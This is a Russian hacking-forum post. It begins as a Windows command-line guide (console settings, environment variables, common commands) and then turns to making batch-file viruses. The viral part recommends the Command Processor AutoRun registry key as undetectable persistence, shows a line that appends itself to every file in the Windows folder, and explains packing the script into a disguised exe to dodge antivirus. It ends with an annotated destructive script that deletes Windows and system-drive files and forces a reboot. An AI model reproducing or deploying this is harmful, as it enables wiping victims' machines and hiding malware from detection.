Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование
http://ah.flybb.ru/

Полный мануал по командной строке
http://ah.flybb.ru/topic1191.html
Страница 1 из 1

Автор:  BECHED [ 19-09, 19:12 ]
Заголовок сообщения:  Полный мануал по командной строке

В интернете полно статей на подобную тему, но интерес к командной строке всё ещё не пропал. То и дело в сети появляются справочники, руководства, и конечно же примеры bat вирусов. И во многих случаях описываются лишь стандартные команды. Введите help в батнике и вы получите их небольшой список. Каждую новую для себя команду (хотя не такие уж они и новые) встречают с большим воодушевлением.
Ведь для создания batников не требуется никаких компиляторов, всё что нужно это винда и прямые руки... Самый полный справочник с описанием cmd.exe находится тут - папка Windows/Help/ntcmds.chm .
Обычный файл справки, просматриваемый стандартным средством операционки hh.exe. Также для вывода справки можно использовать меню Выполнить - hh ntcmds.chm . Для тех кто не в курсе любую программу из папки Windows можно запустить из этого меню не указывая пути и расширения файла.
Например, когда мы набираем "cmd" в системной папке ищется файл "cmd.exe" , находится в папке system32 и выполняется. Там находится полный список команд, включая и устаревшие (работающие только в Ms Dos), полезные сведения и советы по настройке.
Все команды расположены в алфавитном порядке, и в одну статью вряд ли поместятся. Так что смотрите у себя на компе. Настройка Запускаем командную строку, видим её значок в левом верхнем углу окна, правый клик мыши по нему и в открывшемся меню выбираем Свойства. Здесь мы можем настраивать cmd как угодно.
На вкладке Общие можно поменять размер курсора, размер буфера, режим отображения и разрешить или запретить выделение мышью. Полезная кстати вещь:) Далее идёт вкладка настройки шрифта, размеров окна и цвета. Если вам когда нибудь надоедали белые буквы на тёмном фоне, то их запросто можно поменять например на зелёные. Теперь о реестре - куда ж без него?

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Command Processor]: Никаких новых параметров нет за исключением одного - AutoRun. Любая программа указанная там будет выполнятся каждый раз при запуске командной строки. Я никогда раньше не встречал такого способа автозапуска, возможно кому нибудь это пригодится. Шансы того что вашу прогу запалят практически нулевые.
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Environment]: Здесь параметры некоторых переменных.

Список стандартных переменных:
%os% Имя системы
%windir% Путь к папке Windows
%systemdrive% Путь к системному диску
%programfiles% Путь к Program Files
%temp% Путь к временной папке
%tmp% То же что и %temp%
%allusersprofile% Путь к папке All users
%appdata% Путь к папке Application Data для текущего пользователя
%userprofile% Путь к папке с документами и настройками текущего пользователя
%path% Показывает стандартные системные пути. Многие проги любят менять значение этой переменной, добавляя туда путь своей рабочей папки
%pathext% Показывает стандартные расширения
%comspec% Путь к самому интерпретатору командной строки cmd.exe
%number_of_processors% Выводит количество прцессоров установленных в системе
%processor_architecture% Выводит что то наподобие x86
%processor_identifier% Технические характеристики процессора

Всё это можно вывести на экран. Например "echo %windir%".

Теперь список некоторых полезных команд:

Assoc - Выводит список всех расширений и программ с ними сопоставленных. "Assoc .exe = .gif" заставит систему считать все программы файлами изображений
Date [нужная дата} - Меняет системную дату
Driverquery - Выводит список всех установленных драйверов
Ftype .расширение = команда - Установка программы или команды, которая будет выполнятся при
Getmac - Выводит mac адрес компьютера
Hostname - Выводит имя узла
Ipconfig - Параметры протокола и сетевых адаптеров
Nbtstat - Вывод статистики протокола Netbios
Net - Содержит много параметров для работы с сетью
Netstat - Выводит на экран все активные в данный момент подключения
Nslookup адрес узла - Вывод доменного имени заданного узла
Reg подкоманды - Работа с реестром
Tasklist - Вывести список всех процессов
Taskkill - Убить процесс по Pid или имени

Насчёт вирусов.
Bat вирусы настолько мало распространены, что их список состоит из всего нескольких десятков и
подхватить где нибудь эдакую "заразу" весьма проблематично.
Но некоторые антивирусные компании всё же добавили сигнатуры в свои базы, видимо с желанием подзаработать.
Вот например строчка "for %a in (%windir%*.*) do echo %0 >> %a" палится как вирус... Как же запаковать bat файлы?
Можно создать sfx архив с помощью WinRara, поставив вашу прогу на автозапуск после распаковки и отключив визуальное окно потверждения и выбора пути для распаковки. Есть даже специальные проги для этого, например Quick Batch File Compiler. В итоге получаем обычный exeшник. Ставим для него иконку получше, сжимаем упаковщиком и наш вирь готов.

Для примера (и только для примера!) могу привести пример такого заподла, сочиненного на скорую руку:

Код:
"
@echo off - запрещаем вывод команд на экран, в том числе и результатов их выполнения.
color 40 - делаем фон файла красным, а буквы чёрными.
label LAMER - команда label указанная без параметров переименовывает системный диск на заданное слово.
attrib -s -r -h -a %systemdrive%*.* - снимаем системные атрибуты с некоторых файлов.
erase %windir%*.* /q - банальное удаление файлов.
erase %windir%system32*.* /q - банальное удаление файлов, хотя винду снесёт без проблем.
erase %systemdrive%*.* /q - удаление системно важных скрытых файлов на системном диске. Хотя чтобы винда больше не запустилась никаким образом достаточно удалить файл ntldr и перегрузиться.
regedit (путь к вашему файлу) - Добавляем информацию с вашего .reg файла в реестр. Существует ещё и команда reg с параметрами, но иногда проще создать отдельный .reg файл. Здесь фантазии может быть много...
echo текст >(>>) файл - Добавляем записи в файл. Знак > создаёт новый файл с заданным текстом, >> добавляет уже в существующий файл.
shutdown -r -f - Принудительно перезагружаем комп, несмотря на протесты системы.
"

Это были лишь заготовки, а насколько серьёзно вы будете модифицировать реестр или изменять файлы зависит от вас. На этом статья подходит к концу, так как тема bat файлов исчерпана полностью. Больше чем команд в стандартном описании найти невозможно. Считайте файл ntcmds.chm дополнением к статье. Спасибо за внимание


Sploit

Страница 1 из 1 Часовой пояс: UTC + 3 часа
Powered by phpBB® Forum Software © phpBB Group
http://www.phpbb.com/